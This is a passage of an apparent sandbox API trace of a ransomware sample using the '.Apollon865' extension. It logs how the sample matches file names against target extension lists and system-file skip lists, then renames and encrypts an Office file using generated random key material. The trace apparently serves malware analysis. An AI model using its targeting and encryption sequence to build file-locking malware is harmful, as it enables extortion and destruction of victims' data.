	[0066.703] lstrlenW (lpString="accdt") returned 5
	[0066.704] lstrcmpiW (lpString1="S.POC", lpString2="accdt") returned 1
	[0066.704] lstrlenW (lpString="accdw") returned 5
	[0066.704] lstrcmpiW (lpString1="S.POC", lpString2="accdw") returned 1
	[0066.704] lstrlenW (lpString="accft") returned 5
	[0066.704] lstrcmpiW (lpString1="S.POC", lpString2="accft") returned 1
	[0066.704] lstrlenW (lpString="adb") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.704] lstrlenW (lpString="adb") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.704] lstrlenW (lpString="ade") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.704] lstrlenW (lpString="adf") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.704] lstrlenW (lpString="adn") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.704] lstrlenW (lpString="adp") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.704] lstrlenW (lpString="alf") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.704] lstrlenW (lpString="ask") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.704] lstrlenW (lpString="btr") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.704] lstrlenW (lpString="cat") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.704] lstrlenW (lpString="cdb") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.704] lstrlenW (lpString="ckp") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.704] lstrlenW (lpString="cma") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.704] lstrlenW (lpString="cpd") returned 3
	[0066.704] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.705] lstrlenW (lpString="dacpac") returned 6
	[0066.705] lstrcmpiW (lpString1="ES.POC", lpString2="dacpac") returned 1
	[0066.705] lstrlenW (lpString="dad") returned 3
	[0066.705] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.705] lstrlenW (lpString="dadiagrams") returned 10
	[0066.705] lstrcmpiW (lpString1="4BOXES.POC", lpString2="dadiagrams") returned -1
	[0066.705] lstrlenW (lpString="daschema") returned 8
	[0066.705] lstrcmpiW (lpString1="OXES.POC", lpString2="daschema") returned 1
	[0066.705] lstrlenW (lpString="db-journal") returned 10
	[0066.705] lstrcmpiW (lpString1="4BOXES.POC", lpString2="db-journal") returned -1
	[0066.705] lstrlenW (lpString="db-shm") returned 6
	[0066.705] lstrcmpiW (lpString1="ES.POC", lpString2="db-shm") returned 1
	[0066.705] lstrlenW (lpString="db-wal") returned 6
	[0066.705] lstrcmpiW (lpString1="ES.POC", lpString2="db-wal") returned 1
	[0066.705] lstrlenW (lpString="dbc") returned 3
	[0066.705] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.705] lstrlenW (lpString="dbs") returned 3
	[0066.705] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.705] lstrlenW (lpString="dbt") returned 3
	[0066.705] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.705] lstrlenW (lpString="dbv") returned 3
	[0066.705] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.705] lstrlenW (lpString="dbx") returned 3
	[0066.705] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.705] lstrlenW (lpString="dcb") returned 3
	[0066.705] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.705] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.706] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BS53BOXS.POC" | out: lpString1="BS53BOXS.POC") returned="BS53BOXS.POC"
	[0066.706] lstrlenW (lpString="BS53BOXS.POC") returned 12
	[0066.706] lstrlenW (lpString="Apollon865") returned 10
	[0066.706] lstrcmpiW (lpString1="53BOXS.POC", lpString2="Apollon865") returned -1
	[0066.706] lstrlenW (lpString=".dll") returned 4
	[0066.706] lstrcmpiW (lpString1="BS53BOXS.POC", lpString2=".dll") returned 1
	[0066.706] lstrlenW (lpString=".lnk") returned 4
	[0066.706] lstrcmpiW (lpString1="BS53BOXS.POC", lpString2=".lnk") returned 1
	[0066.706] lstrlenW (lpString=".ini") returned 4
	[0066.706] lstrcmpiW (lpString1="BS53BOXS.POC", lpString2=".ini") returned 1
	[0066.706] lstrlenW (lpString=".sys") returned 4
	[0066.706] lstrcmpiW (lpString1="BS53BOXS.POC", lpString2=".sys") returned 1
	[0066.706] lstrlenW (lpString="BS53BOXS.POC") returned 12
	[0066.706] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BZCARD11.POC" | out: lpString1="BZCARD11.POC") returned="BZCARD11.POC"
	[0066.706] lstrlenW (lpString="BZCARD11.POC") returned 12
	[0066.706] lstrlenW (lpString="Apollon865") returned 10
	[0066.706] lstrcmpiW (lpString1="CARD11.POC", lpString2="Apollon865") returned 1
	[0066.706] lstrlenW (lpString=".dll") returned 4
	[0066.706] lstrcmpiW (lpString1="BZCARD11.POC", lpString2=".dll") returned 1
	[0066.706] lstrlenW (lpString=".lnk") returned 4
	[0066.706] lstrcmpiW (lpString1="BZCARD11.POC", lpString2=".lnk") returned 1
	[0066.706] lstrlenW (lpString=".ini") returned 4
	[0066.706] lstrcmpiW (lpString1="BZCARD11.POC", lpString2=".ini") returned 1
	[0066.706] lstrlenW (lpString=".sys") returned 4
	[0066.706] lstrcmpiW (lpString1="BZCARD11.POC", lpString2=".sys") returned 1
	[0066.706] lstrlenW (lpString="BZCARD11.POC") returned 12
	[0066.706] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BZCARDHM.POC" | out: lpString1="BZCARDHM.POC") returned="BZCARDHM.POC"
	[0066.706] lstrlenW (lpString="BZCARDHM.POC") returned 12
	[0066.706] lstrlenW (lpString="Apollon865") returned 10
	[0066.706] lstrcmpiW (lpString1="CARDHM.POC", lpString2="Apollon865") returned 1
	[0066.707] lstrlenW (lpString=".dll") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCARDHM.POC", lpString2=".dll") returned 1
	[0066.707] lstrlenW (lpString=".lnk") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCARDHM.POC", lpString2=".lnk") returned 1
	[0066.707] lstrlenW (lpString=".ini") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCARDHM.POC", lpString2=".ini") returned 1
	[0066.707] lstrlenW (lpString=".sys") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCARDHM.POC", lpString2=".sys") returned 1
	[0066.707] lstrlenW (lpString="BZCARDHM.POC") returned 12
	[0066.707] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BZCD98SP.POC" | out: lpString1="BZCD98SP.POC") returned="BZCD98SP.POC"
	[0066.707] lstrlenW (lpString="BZCD98SP.POC") returned 12
	[0066.707] lstrlenW (lpString="Apollon865") returned 10
	[0066.707] lstrcmpiW (lpString1="CD98SP.POC", lpString2="Apollon865") returned 1
	[0066.707] lstrlenW (lpString=".dll") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCD98SP.POC", lpString2=".dll") returned 1
	[0066.707] lstrlenW (lpString=".lnk") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCD98SP.POC", lpString2=".lnk") returned 1
	[0066.707] lstrlenW (lpString=".ini") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCD98SP.POC", lpString2=".ini") returned 1
	[0066.707] lstrlenW (lpString=".sys") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCD98SP.POC", lpString2=".sys") returned 1
	[0066.707] lstrlenW (lpString="BZCD98SP.POC") returned 12
	[0066.707] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BZCRD98.POC" | out: lpString1="BZCRD98.POC") returned="BZCRD98.POC"
	[0066.707] lstrlenW (lpString="BZCRD98.POC") returned 11
	[0066.707] lstrlenW (lpString="Apollon865") returned 10
	[0066.707] lstrcmpiW (lpString1="ZCRD98.POC", lpString2="Apollon865") returned 1
	[0066.707] lstrlenW (lpString=".dll") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCRD98.POC", lpString2=".dll") returned 1
	[0066.707] lstrlenW (lpString=".lnk") returned 4
	[0066.707] lstrcmpiW (lpString1="BZCRD98.POC", lpString2=".lnk") returned 1
	[0066.708] lstrlenW (lpString=".ini") returned 4
	[0066.708] lstrcmpiW (lpString1="BZCRD98.POC", lpString2=".ini") returned 1
	[0066.708] lstrlenW (lpString=".sys") returned 4
	[0066.708] lstrcmpiW (lpString1="BZCRD98.POC", lpString2=".sys") returned 1
	[0066.708] lstrlenW (lpString="BZCRD98.POC") returned 11
	[0066.708] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CALENDAR.DPV" | out: lpString1="CALENDAR.DPV") returned="CALENDAR.DPV"
	[0066.708] lstrlenW (lpString="CALENDAR.DPV") returned 12
	[0066.708] lstrlenW (lpString="Apollon865") returned 10
	[0066.708] lstrcmpiW (lpString1="LENDAR.DPV", lpString2="Apollon865") returned 1
	[0066.708] lstrlenW (lpString=".dll") returned 4
	[0066.708] lstrcmpiW (lpString1="CALENDAR.DPV", lpString2=".dll") returned 1
	[0066.708] lstrlenW (lpString=".lnk") returned 4
	[0066.708] lstrcmpiW (lpString1="CALENDAR.DPV", lpString2=".lnk") returned 1
	[0066.708] lstrlenW (lpString=".ini") returned 4
	[0066.708] lstrcmpiW (lpString1="CALENDAR.DPV", lpString2=".ini") returned 1
	[0066.708] lstrlenW (lpString=".sys") returned 4
	[0066.708] lstrcmpiW (lpString1="CALENDAR.DPV", lpString2=".sys") returned 1
	[0066.708] lstrlenW (lpString="CALENDAR.DPV") returned 12
	[0066.708] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CALENDAR.XML" | out: lpString1="CALENDAR.XML") returned="CALENDAR.XML"
	[0066.708] lstrlenW (lpString="CALENDAR.XML") returned 12
	[0066.708] lstrlenW (lpString="Apollon865") returned 10
	[0066.708] lstrcmpiW (lpString1="LENDAR.XML", lpString2="Apollon865") returned 1
	[0066.708] lstrlenW (lpString=".dll") returned 4
	[0066.708] lstrcmpiW (lpString1="CALENDAR.XML", lpString2=".dll") returned 1
	[0066.708] lstrlenW (lpString=".lnk") returned 4
	[0066.708] lstrcmpiW (lpString1="CALENDAR.XML", lpString2=".lnk") returned 1
	[0066.708] lstrlenW (lpString=".ini") returned 4
	[0066.708] lstrcmpiW (lpString1="CALENDAR.XML", lpString2=".ini") returned 1
	[0066.708] lstrlenW (lpString=".sys") returned 4
	[0066.708] lstrcmpiW (lpString1="CALENDAR.XML", lpString2=".sys") returned 1
	[0066.709] lstrlenW (lpString="CALENDAR.XML") returned 12
	[0066.709] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML.Apollon865") returned 73
	[0066.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.710] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=9748) returned 1
	[0066.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.711] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.711] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.711] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.712] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2920, lpName=0x0) returned 0x154
	[0066.713] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2920) returned 0x100000
	[0066.714] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.714] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.714] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.715] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.715] CloseHandle (hObject=0x154) returned 1
	[0066.715] CloseHandle (hObject=0x15c) returned 1
	[0066.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.716] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9e500, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9e500, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x329e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CALHM.POC", cAlternateFileName="")) returned 1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2=".") returned 1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="..") returned 1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="windows") returned -1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="bootmgr") returned 1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="temp") returned -1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="pagefile.sys") returned -1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="boot") returned 1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="ids.txt") returned -1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="ntuser.dat") returned -1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="perflogs") returned -1
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2="MSBuild") returned -1
	[0066.716] lstrlenW (lpString="CALHM.POC") returned 9
	[0066.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML") returned 62
	[0066.716] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CALHM.POC" | out: lpString1="CALHM.POC") returned="CALHM.POC"
	[0066.716] lstrlenW (lpString="CALHM.POC") returned 9
	[0066.716] lstrlenW (lpString="Apollon865") returned 10
	[0066.716] lstrlenW (lpString=".dll") returned 4
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2=".dll") returned 1
	[0066.716] lstrlenW (lpString=".lnk") returned 4
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2=".lnk") returned 1
	[0066.716] lstrlenW (lpString=".ini") returned 4
	[0066.716] lstrcmpiW (lpString1="CALHM.POC", lpString2=".ini") returned 1
	[0066.717] lstrlenW (lpString=".sys") returned 4
	[0066.717] lstrcmpiW (lpString1="CALHM.POC", lpString2=".sys") returned 1
	[0066.717] lstrlenW (lpString="CALHM.POC") returned 9
	[0066.717] lstrlenW (lpString="bak") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.717] lstrlenW (lpString="ba_") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.717] lstrlenW (lpString="dbb") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.717] lstrlenW (lpString="vmdk") returned 4
	[0066.717] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.717] lstrlenW (lpString="rar") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.717] lstrlenW (lpString="zip") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.717] lstrlenW (lpString="tgz") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.717] lstrlenW (lpString="vbox") returned 4
	[0066.717] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.717] lstrlenW (lpString="vdi") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.717] lstrlenW (lpString="vhd") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.717] lstrlenW (lpString="vhdx") returned 4
	[0066.717] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.717] lstrlenW (lpString="avhd") returned 4
	[0066.717] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.717] lstrlenW (lpString="db") returned 2
	[0066.717] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.717] lstrlenW (lpString="db2") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.717] lstrlenW (lpString="db3") returned 3
	[0066.717] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.718] lstrlenW (lpString="dbf") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.718] lstrlenW (lpString="mdf") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.718] lstrlenW (lpString="mdb") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.718] lstrlenW (lpString="sql") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.718] lstrlenW (lpString="sqlite") returned 6
	[0066.718] lstrcmpiW (lpString1="HM.POC", lpString2="sqlite") returned -1
	[0066.718] lstrlenW (lpString="sqlite3") returned 7
	[0066.718] lstrcmpiW (lpString1="LHM.POC", lpString2="sqlite3") returned -1
	[0066.718] lstrlenW (lpString="sqlitedb") returned 8
	[0066.718] lstrcmpiW (lpString1="ALHM.POC", lpString2="sqlitedb") returned -1
	[0066.718] lstrlenW (lpString="xml") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.718] lstrlenW (lpString="$er") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.718] lstrlenW (lpString="4dd") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.718] lstrlenW (lpString="4dl") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.718] lstrlenW (lpString="^^^") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.718] lstrlenW (lpString="abs") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.718] lstrlenW (lpString="abx") returned 3
	[0066.718] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.718] lstrlenW (lpString="accdb") returned 5
	[0066.718] lstrcmpiW (lpString1="M.POC", lpString2="accdb") returned 1
	[0066.718] lstrlenW (lpString="accdc") returned 5
	[0066.718] lstrcmpiW (lpString1="M.POC", lpString2="accdc") returned 1
	[0066.718] lstrlenW (lpString="accde") returned 5
	[0066.718] lstrcmpiW (lpString1="M.POC", lpString2="accde") returned 1
	[0066.719] lstrlenW (lpString="accdr") returned 5
	[0066.719] lstrcmpiW (lpString1="M.POC", lpString2="accdr") returned 1
	[0066.719] lstrlenW (lpString="accdt") returned 5
	[0066.719] lstrcmpiW (lpString1="M.POC", lpString2="accdt") returned 1
	[0066.719] lstrlenW (lpString="accdw") returned 5
	[0066.719] lstrcmpiW (lpString1="M.POC", lpString2="accdw") returned 1
	[0066.719] lstrlenW (lpString="accft") returned 5
	[0066.719] lstrcmpiW (lpString1="M.POC", lpString2="accft") returned 1
	[0066.719] lstrlenW (lpString="adb") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.719] lstrlenW (lpString="adb") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.719] lstrlenW (lpString="ade") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.719] lstrlenW (lpString="adf") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.719] lstrlenW (lpString="adn") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.719] lstrlenW (lpString="adp") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.719] lstrlenW (lpString="alf") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.719] lstrlenW (lpString="ask") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.719] lstrlenW (lpString="btr") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.719] lstrlenW (lpString="cat") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.719] lstrlenW (lpString="cdb") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.719] lstrlenW (lpString="ckp") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.719] lstrlenW (lpString="cma") returned 3
	[0066.719] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.720] lstrlenW (lpString="cpd") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.720] lstrlenW (lpString="dacpac") returned 6
	[0066.720] lstrcmpiW (lpString1="HM.POC", lpString2="dacpac") returned 1
	[0066.720] lstrlenW (lpString="dad") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.720] lstrlenW (lpString="dadiagrams") returned 10
	[0066.720] lstrlenW (lpString="daschema") returned 8
	[0066.720] lstrcmpiW (lpString1="ALHM.POC", lpString2="daschema") returned -1
	[0066.720] lstrlenW (lpString="db-journal") returned 10
	[0066.720] lstrlenW (lpString="db-shm") returned 6
	[0066.720] lstrcmpiW (lpString1="HM.POC", lpString2="db-shm") returned 1
	[0066.720] lstrlenW (lpString="db-wal") returned 6
	[0066.720] lstrcmpiW (lpString1="HM.POC", lpString2="db-wal") returned 1
	[0066.720] lstrlenW (lpString="dbc") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.720] lstrlenW (lpString="dbs") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.720] lstrlenW (lpString="dbt") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.720] lstrlenW (lpString="dbv") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.720] lstrlenW (lpString="dbx") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.720] lstrlenW (lpString="dcb") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.720] lstrlenW (lpString="dct") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.720] lstrlenW (lpString="dcx") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="dcx") returned 1
	[0066.720] lstrlenW (lpString="ddl") returned 3
	[0066.720] lstrcmpiW (lpString1="POC", lpString2="ddl") returned 1
	[0066.720] lstrlenW (lpString="dlis") returned 4
	[0066.720] lstrcmpiW (lpString1=".POC", lpString2="dlis") returned -1
	[0066.720] lstrlenW (lpString="dp1") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="dp1") returned 1
	[0066.721] lstrlenW (lpString="dqy") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="dqy") returned 1
	[0066.721] lstrlenW (lpString="dsk") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="dsk") returned 1
	[0066.721] lstrlenW (lpString="dsn") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="dsn") returned 1
	[0066.721] lstrlenW (lpString="dtsx") returned 4
	[0066.721] lstrcmpiW (lpString1=".POC", lpString2="dtsx") returned -1
	[0066.721] lstrlenW (lpString="dxl") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="dxl") returned 1
	[0066.721] lstrlenW (lpString="eco") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="eco") returned 1
	[0066.721] lstrlenW (lpString="ecx") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="ecx") returned 1
	[0066.721] lstrlenW (lpString="edb") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="edb") returned 1
	[0066.721] lstrlenW (lpString="epim") returned 4
	[0066.721] lstrcmpiW (lpString1=".POC", lpString2="epim") returned -1
	[0066.721] lstrlenW (lpString="fcd") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="fcd") returned 1
	[0066.721] lstrlenW (lpString="fdb") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="fdb") returned 1
	[0066.721] lstrlenW (lpString="fic") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="fic") returned 1
	[0066.721] lstrlenW (lpString="flexolibrary") returned 12
	[0066.721] lstrlenW (lpString="fm5") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="fm5") returned 1
	[0066.721] lstrlenW (lpString="fmp") returned 3
	[0066.721] lstrcmpiW (lpString1="POC", lpString2="fmp") returned 1
	[0066.721] lstrlenW (lpString="fmp12") returned 5
	[0066.721] lstrcmpiW (lpString1="M.POC", lpString2="fmp12") returned 1
	[0066.721] lstrlenW (lpString="fmpsl") returned 5
	[0066.721] lstrcmpiW (lpString1="M.POC", lpString2="fmpsl") returned 1
	[0066.722] lstrlenW (lpString="fol") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="fol") returned 1
	[0066.722] lstrlenW (lpString="fp3") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="fp3") returned 1
	[0066.722] lstrlenW (lpString="fp4") returned 3
